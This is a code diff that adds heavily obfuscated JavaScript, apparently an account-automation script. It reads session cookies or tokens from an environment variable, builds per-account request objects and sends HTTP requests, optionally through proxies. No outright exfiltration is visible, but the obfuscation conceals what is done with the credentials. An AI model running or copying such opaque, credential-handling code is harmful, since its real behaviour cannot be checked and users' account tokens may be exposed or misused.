+ let _0x2d91c9 = 0;
+ while (true) {
+ switch (_0x418967[_0x2d91c9++]) {
+ case "0":
+ this[_0x22cfde(1051, "XHDs")] = "";
+ continue;
+ case "1":
+ this[_0x22cfde(1469, "IGsJ")] = _0x41f950[_0x22cfde(1257, "s%@&")](require, _0x41f950[_0x22cfde(1053, "A4*i")]);
+ continue;
+ case "2":
+ this[_0x22cfde(1470, "1ynp")] = _0x41f950[_0x22cfde(823, "yDrQ")](require, _0x41f950[_0x22cfde(550, "Y]cP")]);
+ continue;
+ case "3":
+ this[_0x22cfde(1586, "MB!Y")] = _0x41f950[_0x22cfde(999, "Vn0V")](require, _0x41f950[_0x22cfde(416, "N0QU")]);
+ continue;
+ case "4":
+ this[_0x22cfde(1451, "No1k")] = [];
+ continue;
+ case "5":
+ this[_0x22cfde(267, "rg]E")] = _0x41f950[_0x22cfde(1482, "7aPh")](require, _0x41f950[_0x22cfde(367, "YZhE")]);
+ continue;
+ }
+ break;
+ }
+ }
+ async [_0x20337e(1203, "yDrQ")](_0x52e895, _0x3cac42, _0x2c6c3f) {
+ const _0x1cf1bd = _0x20337e;
+ let _0x15ce6f = [];
+ !_0x2c6c3f && (_0x2c6c3f = 1);
+ while (_0x2c6c3f--) {
+ for (let _0x4651ab of $[_0x1cf1bd(805, "Vn0V")]) {
+ _0x15ce6f[_0x1cf1bd(1237, "PQqk")](_0x4651ab[_0x52e895](_0x3cac42));
+ }
+ }
+ await Promise[_0x1cf1bd(1290, "Vn0V")](_0x15ce6f);
+ }
+ [_0x20337e(314, "7m]Q")]() {
+ const _0x4f937d = _0x20337e;
+ let _0x2aee16 = process[_0x4f937d(277, "4@e)")][VALY] || CK;
+ let _0x3ab995 = 0;
+ if (_0x2aee16) {
+ for (let _0x41f52b of _0x2aee16[_0x4f937d(1063, "IGsJ")]("\n")[_0x4f937d(365, "VaF8")](_0x260066 => !!_0x260066)) {
+ $[_0x4f937d(1143, "In0I")][_0x4f937d(1133, "In0I")](new 自定义_0x10f096(_0x41f52b));
+ }
+ _0x3ab995 = $[_0x4f937d(366, "8uYr")][_0x4f937d(876, "#U#H")];
+ } else {
+ if (_0x41f950[_0x4f937d(1032, "%ucD")](_0x41f950[_0x4f937d(557, "rg]E")], _0x41f950[_0x4f937d(462, "W!t^")])) {
+ console[_0x4f937d(1197, "rg]E")]("\n【" + NAME + _0x4f937d(468, "N0QU") + VALY);
+ } else {
+ return _0x3ab995 && f[_0x4f937d(400, "eVuk")]();
+ }
+ }
+ console[_0x4f937d(928, "R^ea")](_0x4f937d(1575, "&IZa") + _0x3ab995 + _0x4f937d(536, "No1k"));
+ return $[_0x4f937d(1035, "N4]F")];
+ }
+ [_0x20337e(348, "oY@q")](_0xe6d6d0, _0x891211, _0x13f45c, _0x3861c8, _0x2712fa) {
+ const _0x189834 = _0x20337e;
+ const _0xf8af4a = {
+ UXHsJ: function (_0x29b12e, _0x5a718e) {
+ const _0x3bc3b6 = 自定义_0x3ae78b;
+ return _0x41f950[_0x3bc3b6(801, "p*zb")](_0x29b12e, _0x5a718e);
+ },
+ MMHiv: function (_0x2e28bf, _0x367317) {
+ const _0x2fc84b = 自定义_0x3ae78b;
+ return _0x41f950[_0x2fc84b(616, "In0I")](_0x2e28bf, _0x367317);
+ },
+ YMzXl: function (_0x259f04, _0x1b7c9d) {
+ const _0x5aabb1 = 自定义_0x3ae78b;
+ return _0x41f950[_0x5aabb1(465, "v(5o")](_0x259f04, _0x1b7c9d);
+ },
+ whcoI: function (_0x27d9a6, _0x475fb6) {
+ const _0x2f3e7b = 自定义_0x3ae78b;
+ return _0x41f950[_0x2f3e7b(606, "%ucD")](_0x27d9a6, _0x475fb6);
+ },
+ lRIMJ: function (_0x3616f2, _0x4f9cb3) {
+ const _0x26910b = 自定义_0x3ae78b;
+ return _0x41f950[_0x26910b(564, "eVuk")](_0x3616f2, _0x4f9cb3);
+ },
+ bfBkS: function (_0x138f05, _0x240370) {
+ const _0x456f61 = 自定义_0x3ae78b;
+ return _0x41f950[_0x456f61(635, "yDrQ")](_0x138f05, _0x240370);
+ },
+ eUxmG: function (_0x90430c, _0x3c28e4) {
+ const _0x121bdc = 自定义_0x3ae78b;
+ return _0x41f950[_0x121bdc(1122, "!ou%")](_0x90430c, _0x3c28e4);
+ },
+ Udyyj: function (_0x4ad3e4, _0x14f15c) {
+ const _0x5335af = 自定义_0x3ae78b;
+ return _0x41f950[_0x5335af(1431, "IGsJ")](_0x4ad3e4, _0x14f15c);
+ },
+ fglDF: function (_0x2ae673, _0x49876d) {
+ const _0x124166 = 自定义_0x3ae78b;
+ return _0x41f950[_0x124166(922, "No1k")](_0x2ae673, _0x49876d);
+ },
+ zRsQh: function (_0x2aa4c7, _0x9bd993, _0x45ffe4) {
+ const _0x2f642e = 自定义_0x3ae78b;
+ return _0x41f950[_0x2f642e(282, "W!t^")](_0x2aa4c7, _0x9bd993, _0x45ffe4);
+ },
+ Jrzrr: function (_0x55b5ee, _0xd3d9e5) {
+ const _0x46eeb9 = 自定义_0x3ae78b;
+ return _0x41f950[_0x46eeb9(1263, "W!t^")](_0x55b5ee, _0xd3d9e5);
+ },
+ Bjhpu: function (_0x27aa3f, _0xde8638) {
+ const _0xd1ba26 = 自定义_0x3ae78b;
+ return _0x41f950[_0xd1ba26(507, "oY@q")](_0x27aa3f, _0xde8638);
+ },
+ xzMJi: function (_0x5b4d11, _0x480c58) {
+ const _0x4cefec = 自定义_0x3ae78b;
+ return _0x41f950[_0x4cefec(821, "$orq")](_0x5b4d11, _0x480c58);
+ },
+ ujYJt: _0x41f950[_0x189834(249, "lmHM")],
+ YXCTG: function (_0x77bddb, _0x1e22d1) {
+ const _0xe97365 = _0x189834;
+ return _0x41f950[_0xe97365(913, "N4]F")](_0x77bddb, _0x1e22d1);
+ },
+ qQaUy: _0x41f950[_0x189834(692, "s%@&")],
+ cDPrK: function (_0x4be72a, _0x19edb4) {
+ const _0xd74552 = _0x189834;
+ return _0x41f950[_0xd74552(892, "AM51")](_0x4be72a, _0x19edb4);
+ },
+ ptpqC: _0x41f950[_0x189834(810, "!ou%")],
+ syMVp: _0x41f950[_0x189834(1602, "IGsJ")],
+ PAuFN: function (_0x44b5f0, _0x339904) {
+ const _0x137104 = _0x189834;
+ return _0x41f950[_0x137104(257, "rg]E")](_0x44b5f0, _0x339904);
+ },
+ IhRWf: function (_0x2b73db, _0x1e2d88) {
+ const _0x5d3312 = _0x189834;
+ return _0x41f950[_0x5d3312(1293, "Q[[u")](_0x2b73db, _0x1e2d88);
+ },
+ LZYRK: _0x41f950[_0x189834(989, "XHDs")],
+ PJZqV: _0x41f950[_0x189834(464, "4@e)")],
+ wCndx: function (_0x4aa16b, _0x59056a) {
+ const _0x407ac6 = _0x189834;
+ return _0x41f950[_0x407ac6(1293, "Q[[u")](_0x4aa16b, _0x59056a);
+ },
+ tJYUi: _0x41f950[_0x189834(838, "eVuk")],
+ DNpnc: _0x41f950[_0x189834(239, "eVuk")],
+ fLQnS: _0x41f950[_0x189834(814, "%ucD")],
+ ZYXPJ: function (_0x3a1ffd, _0x5a3bc1) {
+ const _0x195c00 = _0x189834;
+ return _0x41f950[_0x195c00(657, "&IZa")](_0x3a1ffd, _0x5a3bc1);
+ },
+ ZLwBH: _0x41f950[_0x189834(579, "rg]E")],
+ oKJhP: _0x41f950[_0x189834(1038, "p*zb")],
+ XIPGh: _0x41f950[_0x189834(1232, "!ou%")],
+ ApxDZ: _0x41f950[_0x189834(628, "R^ea")],
+ FNYsZ: _0x41f950[_0x189834(581, "VaF8")],
+ iVpyH: _0x41f950[_0x189834(630, "oY@q")],
+ nrmrK: function (_0x1629da, _0x526f62) {
+ const _0x37103c = _0x189834;
+ return _0x41f950[_0x37103c(455, "eVuk")](_0x1629da, _0x526f62);
+ },
+ WraHh: _0x41f950[_0x189834(1396, "Y]cP")],
+ wQgNk: _0x41f950[_0x189834(1420, "z54j")],
+ tGHtJ: function (_0x1762db, _0x17fcf6) {
+ const _0x27a9e8 = _0x189834;
+ return _0x41f950[_0x27a9e8(334, "#U#H")](_0x1762db, _0x17fcf6);
+ },
+ KOPKT: _0x41f950[_0x189834(1180, "8uYr")],
+ tnOJi: function (_0x4cd5f4, _0x406a11) {
+ const _0x5824ba = _0x189834;
+ return _0x41f950[_0x5824ba(561, "eVuk")](_0x4cd5f4, _0x406a11);
+ },
+ wypop: _0x41f950[_0x189834(1530, "lxlK")],
+ rsQvT: _0x41f950[_0x189834(1212, "N0QU")],
+ rSiQz: _0x41f950[_0x189834(738, "rg]E")]
+ };
+ if (_0x41f950[_0x189834(1032, "%ucD")](_0x41f950[_0x189834(946, "N4]F")], _0x41f950[_0x189834(489, "AM51")])) {
+ _0x41f950[_0x189834(1442, "R^ea")](_0xe6d6d0, _0x41f950[_0x189834(1447, "VaF8")]) ? _0xe6d6d0 = _0xe6d6d0[_0x189834(425, "%ucD")]() : _0xe6d6d0 = _0xe6d6d0;
+ if (_0x41f950[_0x189834(1136, "XHDs")](_0xe6d6d0, _0x41f950[_0x189834(1149, "5E%E")])) {
+ if (_0x41f950[_0x189834(561, "eVuk")](_0x41f950[_0x189834(1415, "KN6Z")], _0x41f950[_0x189834(1225, "Y]cP")])) {
+ return _0x2712fa[_0x189834(1003, "&IZa")](_0xf8af4a[_0x189834(1057, "IGsJ")](_0xf8af4a[_0x189834(949, "lmHM")](_0xf8af4a[_0x189834(1017, "VaF8")](), _0xf8af4a[_0x189834(448, "x&3B")](j, k)), l));
+ } else {
+ delete _0x13f45c[_0x41f950[_0x189834(274, "7m]Q")]];
+ delete _0x13f45c[_0x41f950[_0x189834(1333, "YZhE")]];
+ delete _0x13f45c[_0x41f950[_0x189834(1523, "KN6Z")]];
+ $[_0x189834(998, "&HpZ")](_0x3861c8) ? _0x41f950[_0x189834(889, "@Qhb")](_0x41f950[_0x189834(759, "MB!Y")], _0x41f950[_0x189834(1129, "7m]Q")]) ? _0x13f45c[_0x41f950[_0x189834(1016, "8uYr")]] = _0x41f950[_0x189834(895, "&HpZ")] : this[_0x189834(1217, "1ynp")] = false : _0x13f45c[_0x41f950[_0x189834(1072, "&HpZ")]] = _0x41f950[_0x189834(522, "In0I")];
+ _0x3861c8 && (_0x41f950[_0x189834(1169, "rF75")](_0x41f950[_0x189834(671, "No1k")], _0x41f950[_0x189834(398, "&IZa")]) ? _0x13f45c[_0x41f950[_0x189834(530, "Y]cP")]] = $[_0x189834(751, "7m]Q")](_0x3861c8) : _0x2712fa += _0xf8af4a[_0x189834(1550, "9([]")](j[_0x189834(813, "t[fq")](_0xf8af4a[_0x189834(654, "!ou%")](k[_0x189834(1091, "yDrQ")](), l))));
+ }
+ }
+ _0x41f950[_0x189834(1532, "W!t^")](_0xe6d6d0, _0x41f950[_0x189834(1579, "Q[[u")]) && (_0x41f950[_0x189834(247, "KN6Z")](_0x41f950[_0x189834(237, "1ynp")], _0x41f950[_0x189834(679, "A4*i")]) ? _0x891211 = _0x13f45c[_0x189834(376, "thN(")]() : (delete _0x13f45c[_0x41f950[_0x189834(413, "W!t^")]], delete _0x13f45c[_0x41f950[_0x189834(1435, "o)^n")]], delete _0x13f45c[_0x41f950[_0x189834(446, "v(5o")]], delete _0x13f45c[_0x41f950[_0x189834(1145, "t[fq")]]));
+ _0x13f45c[_0x41f950[_0x189834(791, "A4*i")]] = _0x891211[_0x41f950[_0x189834(1298, "7aPh")]]("//", "/")[_0x41f950[_0x189834(501, "9([]")]]("/")[1];
+ return new Promise(async _0x3a9ab2 => {
+ const _0x317bc9 = _0x189834;
+ const _0x88b8a5 = {
+ vyySl: function (_0x436aa6, _0x3bf8a9) {
+ const _0x36be52 = 自定义_0x3ae78b;
+ return _0xf8af4a[_0x36be52(1374, "Vn0V")](_0x436aa6, _0x3bf8a9);
+ },
+ UQCqK: _0xf8af4a[_0x317bc9(318, "s%@&")],
+ izURi: function (_0x2c815b, _0x296797) {
+ const _0x2cfe6 = _0x317bc9;
+ return _0xf8af4a[_0x2cfe6(898, "YZhE")](_0x2c815b, _0x296797);
+ },
+ xVEQm: function (_0x3bb52a, _0x627d23) {
+ const _0x1c9f15 = _0x317bc9;
+ return _0xf8af4a[_0x1c9f15(859, "yDrQ")](_0x3bb52a, _0x627d23);
+ },
+ hSFRf: _0xf8af4a[_0x317bc9(1601, "1ynp")],
+ cKbKV: _0xf8af4a[_0x317bc9(1359, "lmHM")],
+ FyIii: _0xf8af4a[_0x317bc9(1043, "t[fq")],
+ ezMUd: _0xf8af4a[_0x317bc9(1543, "VaF8")],
+ zoNKu: _0xf8af4a[_0x317bc9(1224, "#U#H")]
+ };
+ if (_0xf8af4a[_0x317bc9(1266, "N4]F")](_0xe6d6d0[_0x317bc9(1011, "lxlK")]("T"), 0)) {
+ if (_0xf8af4a[_0x317bc9(1582, "t[fq")](_0xf8af4a[_0x317bc9(385, "Q[[u")], _0xf8af4a[_0x317bc9(841, "AM51")])) {
+ _0x2712fa = _0xf8af4a[_0x317bc9(1312, "N4]F")](/\\u/g, "%u");
+ return _0xf8af4a[_0x317bc9(545, "A4*i")](j, _0xf8af4a[_0x317bc9(1544, "5E%E")](k, l));
+ } else {
+ var _0x5b3c09 = {
+ url: _0x891211,
+ headers: _0x13f45c,
+ body: _0x3861c8,
+ proxy: _0xf8af4a[_0x317bc9(450, "AM51")](_0xf8af4a[_0x317bc9(972, "s%@&")], _0x2712fa)
+ };
+ }
+ } else {
+ var _0x5b3c09 = {
+ url: _0x891211,
+ headers: _0x13f45c,
+ form: JSON[_0x317bc9(1117, "5E%E")](_0x3861c8),
+ proxy: _0xf8af4a[_0x317bc9(1594, "MB!Y")](_0xf8af4a[_0x317bc9(605, "Q[[u")], _0x2712fa)
+ };
+ }
+ if (!_0x2712fa) {
+ if (_0xf8af4a[_0x317bc9(611, "rg]E")](_0xf8af4a[_0x317bc9(1088, "@Qhb")], _0xf8af4a[_0x317bc9(1028, "x&3B")])) {
+ delete _0x5b3c09[_0xf8af4a[_0x317bc9(300, "7m]Q")]];
+ } else {
+ return _0xe6d6d0[_0x317bc9(322, "yDrQ")]();
+ }
+ }
+ this[_0x317bc9(1326, "o)^n")][_0xe6d6d0[_0x317bc9(1153, "No1k")]()](_0x5b3c09, (_0x591741, _0x36a24f, _0x4b2edf) => {
+ const _0x24091e = _0x317bc9;
+ const _0x20b213 = {
+ VCHEw: function (_0x373654, _0x5dd4f7) {
+ const _0x2c3170 = 自定义_0x3ae78b;
+ return _0xf8af4a[_0x2c3170(877, "&IZa")](_0x373654, _0x5dd4f7);
+ },
+ SMxei: function (_0x534064, _0x2985e5) {
+ const _0x848104 = 自定义_0x3ae78b;
+ return _0xf8af4a[_0x848104(1426, "A4*i")](_0x534064, _0x2985e5);
+ },
+ FLnis: function (_0x586711, _0x534c56) {
+ const _0x3d29f9 = 自定义_0x3ae78b;
+ return _0xf8af4a[_0x3d29f9(1009, "N0QU")](_0x586711, _0x534c56);
+ },
+ EOznj: function (_0x4cec71, _0x27580c, _0x5051f4) {
+ const _0x37f04f = 自定义_0x3ae78b;
+ return _0xf8af4a[_0x37f04f(1411, "PQqk")](_0x4cec71, _0x27580c, _0x5051f4);
+ },
+ cliQA: function (_0x264559, _0x322f67) {
+ const _0x4f3228 = 自定义_0x3ae78b;
+ return _0xf8af4a[_0x4f3228(943, "#U#H")](_0x264559, _0x322f67);
+ }
+ };
+ try {
+ if (_0x4b2edf) {
+ if (_0xf8af4a[_0x24091e(1573, "%ucD")](LOGS, 1)) {
+ console[_0x24091e(945, "s%@&")](_0x24091e(1218, "!ou%"));
+ console[_0x24091e(560, "&HpZ")](_0x5b3c09);
+ console[_0x24091e(262, "MB!Y")](_0x24091e(405, "7m]Q"));
+ if ($[_0x24091e(902, "t[fq")](_0x4b2edf)) {
+ console[_0x24091e(1510, "IGsJ")](JSON[_0x24091e(1073, "p*zb")](_0x4b2edf));
+ } else {
+ if (_0xf8af4a[_0x24091e(669, "o)^n")](_0xf8af4a[_0x24091e(716, "AM51")], _0xf8af4a[_0x24091e(319, "4@e)")])) {
+ const _0x3068f4 = _0x88b8a5[_0x24091e(709, "8uYr")](_0x13f45c, _0x88b8a5[_0x24091e(1350, "W!t^")]);
+ let _0x2f88bb = new _0x3068f4(_0x88b8a5[_0x24091e(747, "N0QU")](_0x88b8a5[_0x24091e(1275, "7aPh")](_0x88b8a5[_0x24091e(1152, "v(5o")], _0x3861c8), _0x88b8a5[_0x24091e(1455, "MB!Y")]));
+ _0x2f88bb[_0x24091e(311, "1ynp")]({
+ encryptionScheme: _0x88b8a5[_0x24091e(1428, "4@e)")]
+ });
+ return _0x2f88bb[_0x24091e(627, "iiiI")](_0x2712fa, _0x88b8a5[_0x24091e(1151, "yDrQ")], _0x88b8a5[_0x24091e(1528, "VaF8")]);
+ } else {
+ console[_0x24091e(1271, "v(5o")](_0x4b2edf);
+ }
+ }
+ }
+ }
+ } catch (_0x4d72b6) {
+ console[_0x24091e(1242, "iiiI")](_0x4d72b6, _0xf8af4a[_0x24091e(1112, "N0QU")](_0xf8af4a[_0x24091e(1594, "MB!Y")](_0x891211, "\n"), _0x13f45c));
+ } finally {
+ if (_0xf8af4a[_0x24091e(346, "s%@&")](_0xf8af4a[_0x24091e(241, "7aPh")], _0xf8af4a[_0x24091e(817, "XHDs")])) {
+ const _0x334c0c = _0x20b213[_0x24091e(1418, "N4]F")](_0x13f45c, _0x3861c8);
+ const _0x4217f = new _0x2712fa(_0x334c0c[_0x24091e(1233, "p*zb")]);
+ for (let _0x1a542b = 0; _0x20b213[_0x24091e(1538, "9([]")](_0x1a542b, _0x334c0c[_0x24091e(368, "Q[[u")]); _0x1a542b++) {
+ _0x4217f[_0x1a542b] = _0x334c0c[_0x24091e(777, "rF75")](_0x1a542b);
+ }
+ let _0x4f233c = "";
+ for (let _0x147f7e = 0; _0x20b213[_0x24091e(1287, "PQqk")](_0x147f7e, _0x4217f[_0x24091e(633, "lmHM")]); _0x147f7e++) {
+ const _0x24d47b = _0x4217f[_0x147f7e][_0x24091e(1292, "oY@q")](16)[_0x24091e(1220, "&HpZ")](2, "0");
+ _0x4f233c += _0x24d47b;
+ }
+ return _0x4f233c;
+ } else {
+ let _0x1de6d4 = "";
+ if (!_0x591741) {
+ if (_0xf8af4a[_0x24091e(1235, "5E%E")](_0xf8af4a[_0x24091e(452, "7m]Q")], _0xf8af4a[_0x24091e(1566, "rF75")])) {
+ _0x891211 = _0x13f45c;
+ } else {
+ if ($[_0x24091e(902, "t[fq")](_0x4b2edf)) {
+ _0x1de6d4 = JSON[_0x24091e(855, "lmHM")](_0x4b2edf);
+ } else {
+ if (_0xf8af4a[_0x24091e(1310, "&IZa")](_0x4b2edf[_0x24091e(631, "eVuk")]("/"), -1) && _0xf8af4a[_0x24091e(1175, "%ucD")](_0x4b2edf[_0x24091e(942, "XHDs")]("+"), -1)) {
+ _0x1de6d4 = _0x4b2edf;
+ } else {
+ if (_0xf8af4a[_0x24091e(991, "&HpZ")](_0xf8af4a[_0x24091e(644, "KN6Z")], _0xf8af4a[_0x24091e(812, "lxlK")])) {
+ return new _0x13f45c(_0x57be8a => _0xf8af4a(_0x57be8a, j));
+ } else {
+ _0x1de6d4 = _0x4b2edf;
+ }
+ }
+ }
+ }
+ } else {
+ if (_0xf8af4a[_0x24091e(350, "R^ea")](_0xf8af4a[_0x24091e(1401, "rg]E")], _0xf8af4a[_0x24091e(381, "IGsJ")])) {
+ return _0x3861c8[_0x20b213[_0x24091e(559, "4@e)")](_0x2712fa, _0x20b213[_0x24091e(393, "iiiI")](_0xf8af4a[_0x24091e(295, "7m]Q")](), j[_0x24091e(368, "Q[[u")]), 10)];
+ } else {
+ _0x1de6d4 = _0xf8af4a[_0x24091e(1569, "1ynp")](_0xf8af4a[_0x24091e(226, "eVuk")](_0x891211, _0xf8af4a[_0x24091e(954, "rF75")]), _0x591741);
+ }
+ }
+ return _0xf8af4a[_0x24091e(1410, "AM51")](_0x3a9ab2, _0x1de6d4);
+ }
+ }
+ });
+ });
+ } else {
+ return true;
+ }
+ }
+ [_0x20337e(1162, "5E%E")](_0x3a8906) {
+ const _0x307a70 = _0x20337e;
+ if (_0x41f950[_0x307a70(907, "t[fq")](_0x41f950[_0x307a70(1268, "YZhE")], _0x41f950[_0x307a70(275, "#l!F")])) {
+ let _0x298de3 = _0x307a70(476, "oY@q");
+ let _0x25088f = $[_0x307a70(624, "lmHM")](1, _0x41f950[_0x307a70(1019, "4@e)")], _0x3a8906, _0x298de3);
+ return _0x25088f;
+ } else {
+ return this[_0x307a70(543, "s%@&")][_0x307a70(304, "No1k")][_0x307a70(584, "#l!F")][_0x307a70(260, "v(5o")](this[_0x307a70(1525, "rF75")][_0x307a70(950, "lmHM")][_0x307a70(966, "KN6Z")][_0x307a70(1508, "W!t^")](_0x3a8906));
+ }
+ }
+ async [_0x20337e(1080, "rg]E")](_0x1ac24e) {
+ const _0x469bdc = _0x20337e;
+ if (!_0x1ac24e) {
+ return;
+ }
+ if (_0x41f950[_0x469bdc(1512, "eVuk")](Notify, 1)) {
+ var _0x30d229 = _0x41f950[_0x469bdc(1178, "Y]cP")](require, _0x41f950[_0x469bdc(686, "IGsJ")]);
+ await _0x30d229[_0x469bdc(721, "%ucD")](NAME, _0x1ac24e);
+ }
+ }
+ [_0x20337e(668, "@Qhb")](_0xd4f10f) {
+ const _0x1de377 = _0x20337e;
+ if (_0x41f950[_0x1de377(1114, "8uYr")](_0x41f950[_0x1de377(952, "@Qhb")], _0x41f950[_0x1de377(980, "IGsJ")])) {
+ let _0x239664 = _0x41f950[_0x1de377(1294, "$orq")](encodeURIComponent, _0xd4f10f)[_0x1de377(454, "rg]E")](/%[89ABab]/g);
+ return _0x41f950[_0x1de377(228, "A4*i")](_0xd4f10f[_0x1de377(684, "IGsJ")], _0x239664 ? _0x239664[_0x1de377(783, "N0QU")] : 0);
+ } else {
+ return _0xd4f10f[_0x1de377(790, "KN6Z")]();
+ }
+ }
+ [_0x20337e(602, "&HpZ")](_0x37d46b) {
+ const _0x3f87c2 = _0x20337e;
+ return _0x37d46b[_0x41f950[_0x3f87c2(1190, "#l!F")](parseInt, _0x41f950[_0x3f87c2(1228, "XHDs")](Math[_0x3f87c2(883, "x&3B")](), _0x37d46b[_0x3f87c2(1392, "9([]")]), 10)];
+ }
+ [_0x20337e(1229, "eVuk")](_0x5776a6) {
+ return new Promise(_0x471312 => setTimeout(_0x471312, _0x5776a6));
+ }
+ [_0x20337e(353, "!ou%")](_0x2131d2) {
+ const _0x1f2ca5 = _0x20337e;
+ if (_0x41f950[_0x1f2ca5(878, "1ynp")](_0x2131d2, 10)) {
+ if (_0x41f950[_0x1f2ca5(1230, "rF75")](_0x41f950[_0x1f2ca5(1099, "MB!Y")], _0x41f950[_0x1f2ca5(757, "7aPh")])) {
+ return Math[_0x1f2ca5(570, "26yN")](_0x41f950[_0x1f2ca5(238, "p*zb")](+new Date(), 1000));
+ } else {
+ this.bb = _0x2131d2[_0x1f2ca5(1346, "&HpZ")][_0x1f2ca5(1158, "No1k")];
+ }
+ } else {
+ return +new Date();
+ }
+ }
+ [_0x20337e(1131, "rg]E")]() {
+ const _0x2a2f85 = _0x20337e;
+ const _0x4e7aed = {
+ gOnwP: function (_0x2e35e7, _0x4848b8) {
+ const _0x943351 = 自定义_0x3ae78b;
+ return _0x41f950[_0x943351(988, "26yN")](_0x2e35e7, _0x4848b8);
+ },
+ EAlab: function (_0x24f133, _0x443ca8) {
+ const _0x1ad7fc = 自定义_0x3ae78b;
+ return _0x41f950[_0x1ad7fc(934, "5E%E")](_0x24f133, _0x443ca8);
+ },
+ jCnRT: function (_0x450eed, _0x454595) {
+ const _0x45105d = 自定义_0x3ae78b;
+ return _0x41f950[_0x45105d(642, "#U#H")](_0x450eed, _0x454595);
+ },
+ PUTSb: function (_0x58c322, _0xf81b0e) {
+ const _0x2b0986 = 自定义_0x3ae78b;
+ return _0x41f950[_0x2b0986(636, "Vn0V")](_0x58c322, _0xf81b0e);
+ }
+ };
+ if (_0x41f950[_0x2a2f85(1230, "rF75")](_0x41f950[_0x2a2f85(310, "oY@q")], _0x41f950[_0x2a2f85(532, "PQqk")])) {
+ return _0x4e7aed[_0x2a2f85(341, "z54j")](_0x4e7aed[_0x2a2f85(1425, "o)^n")](f[_0x2a2f85(303, "iiiI")](), 1), 10) ? _0x4e7aed[_0x2a2f85(418, "N4]F")]("0", _0x4e7aed[_0x2a2f85(834, "PQqk")](g[_0x2a2f85(447, "W!t^")](), 1)) : _0x4e7aed[_0x2a2f85(675, "5E%E")](h[_0x2a2f85(825, "&HpZ")](), 1);
+ } else {
+ let _0x5e0c95 = _0x41f950[_0x2a2f85(419, "&IZa")];
+ let _0x5dbba8 = $[_0x2a2f85(920, "1ynp")](32, 3);
+ let _0x18b773 = $[_0x2a2f85(335, "iiiI")](13);
+ let _0x2cd0cc = _0x41f950[_0x2a2f85(1222, "In0I")];
+ let _0x42b2dd = "" + _0x5e0c95 + _0x5dbba8 + _0x18b773 + _0x2cd0cc;
+ let _0x4d9457 = $[_0x2a2f85(837, "VaF8")](0, _0x42b2dd);
+ var _0x8981b = _0x5e0c95 + ";" + _0x5dbba8 + ";" + _0x18b773 + ";" + _0x4d9457;
+ return _0x8981b;
+ }
+ }
+ [_0x20337e(1182, "1ynp")](_0x1321b0) {
+ const _0x3673e5 = _0x20337e;
+ let _0xb05a10 = new Date();
+ if (_0x41f950[_0x3673e5(1352, "Q[[u")](_0x1321b0, undefined)) {
+ let _0xbf3657 = new Date();
+ let _0x5a173e = _0x41f950[_0x3673e5(1427, "!ou%")](_0xbf3657[_0x3673e5(268, "MB!Y")](), "-");
+ let _0x365988 = _0x41f950[_0x3673e5(1216, "In0I")](_0x41f950[_0x3673e5(764, "PQqk")](_0x41f950[_0x3673e5(1541, "N4]F")](_0xbf3657[_0x3673e5(659, "Y]cP")](), 1), 10) ? _0x41f950[_0x3673e5(1059, "rF75")]("0", _0x41f950[_0x3673e5(797, "t[fq")](_0xbf3657[_0x3673e5(1083, "!ou%")](), 1)) : _0x41f950[_0x3673e5(1107, "R^ea")](_0xbf3657[_0x3673e5(1164, "p*zb")](), 1), "-");
+ let _0x1a55df = _0x41f950[_0x3673e5(931, "In0I")](_0xbf3657[_0x3673e5(1262, "s%@&")](), " ");
+ let _0x4e56ff = _0x41f950[_0x3673e5(965, "t[fq")](_0xbf3657[_0x3673e5(1204, "s%@&")](), ":");
+ let _0x24ad37 = _0x41f950[_0x3673e5(993, "&IZa")](_0xbf3657[_0x3673e5(880, "t[fq")](), ":");
+ let _0x20f2a = _0x41f950[_0x3673e5(710, "4@e)")](_0x41f950[_0x3673e5(1500, "KN6Z")](_0xbf3657[_0x3673e5(1313, "Vn0V")](), 1), 10) ? _0x41f950[_0x3673e5(801, "p*zb")]("0", _0xbf3657[_0x3673e5(1258, "rF75")]()) : _0xbf3657[_0x3673e5(1157, "1ynp")]();
+ return _0x41f950[_0x3673e5(485, "!ou%")](_0x41f950[_0x3673e5(1371, "MB!Y")](_0x41f950[_0x3673e5(1031, "rg]E")](_0x41f950[_0x3673e5(1240, "PQqk")](_0x41f950[_0x3673e5(1518, "eVuk")](_0x5a173e, _0x365988), _0x1a55df), _0x4e56ff), _0x24ad37), _0x20f2a);
+ } else {
+ if (_0x41f950[_0x3673e5(1409, "Y]cP")](_0x1321b0, 0)) {
+ return _0x41f950[_0x3673e5(582, "iiiI")](_0x41f950[_0x3673e5(881, "A4*i")], _0x41f950[_0x3673e5(1382, "!ou%")]) ? _0xb05a10[_0x3673e5(549, "$orq")]() : _0x1321b0[_0x3673e5(819, "lmHM")]();
+ } else {
+ if (_0x41f950[_0x3673e5(1126, "4@e)")](_0x1321b0, 1)) {
+ return _0x41f950[_0x3673e5(1547, "PQqk")](_0x41f950[_0x3673e5(1348, "7aPh")](_0xb05a10[_0x3673e5(937, "x&3B")](), 1), 10) ? _0x41f950[_0x3673e5(646, "oY@q")]("0", _0x41f950[_0x3673e5(542, "Q[[u")](_0xb05a10[_0x3673e5(315, "N4]F")](), 1)) : _0x41f950[_0x3673e5(1356, "&IZa")](_0xb05a10[_0x3673e5(1467, "YZhE")](), 1);
+ } else {
+ if (_0x41f950[_0x3673e5(622, "yDrQ")](_0x1321b0, 2)) {
+ return _0xb05a10[_0x3673e5(1000, "A4*i")]();
+ } else {
+ if (_0x41f950[_0x3673e5(406, "oY@q")](_0x1321b0, 3)) {
+ if (_0x41f950[_0x3673e5(1048, "rg]E")](_0x41f950[_0x3673e5(246, "eVuk")], _0x41f950[_0x3673e5(683, "Y]cP")])) {
+ let _0x25b4fa = _0x41f950[_0x3673e5(897, "rg]E")](f, g)[_0x3673e5(1022, "PQqk")](/%[89ABab]/g);
+ return _0x41f950[_0x3673e5(471, "z54j")](h[_0x3673e5(1280, "z54j")], _0x25b4fa ? _0x25b4fa[_0x3673e5(368, "Q[[u")] : 0);
+ } else {
+ return _0xb05a10[_0x3673e5(409, "N0QU")]();
+ }
+ } else {
+ if (_0x41f950[_0x3673e5(1066, "&HpZ")](_0x1321b0, 4)) {
+ return _0xb05a10[_0x3673e5(682, "9([]")]();
+ } else {
+ if (_0x41f950[_0x3673e5(730, "1ynp")](_0x1321b0, 5)) {
+ if (_0x41f950[_0x3673e5(391, "XHDs")](_0x41f950[_0x3673e5(1181, "1ynp")], _0x41f950[_0x3673e5(693, "oY@q")])) {
+ for (let _0x1935a7 of m[_0x3673e5(271, "26yN")]("\n")[_0x3673e5(592, "%ucD")](_0x1511b7 => !!_0x1511b7)) {
+ _0x1935a7[_0x3673e5(890, "&HpZ")][_0x3673e5(554, "MB!Y")](new q(_0x1935a7));
+ }
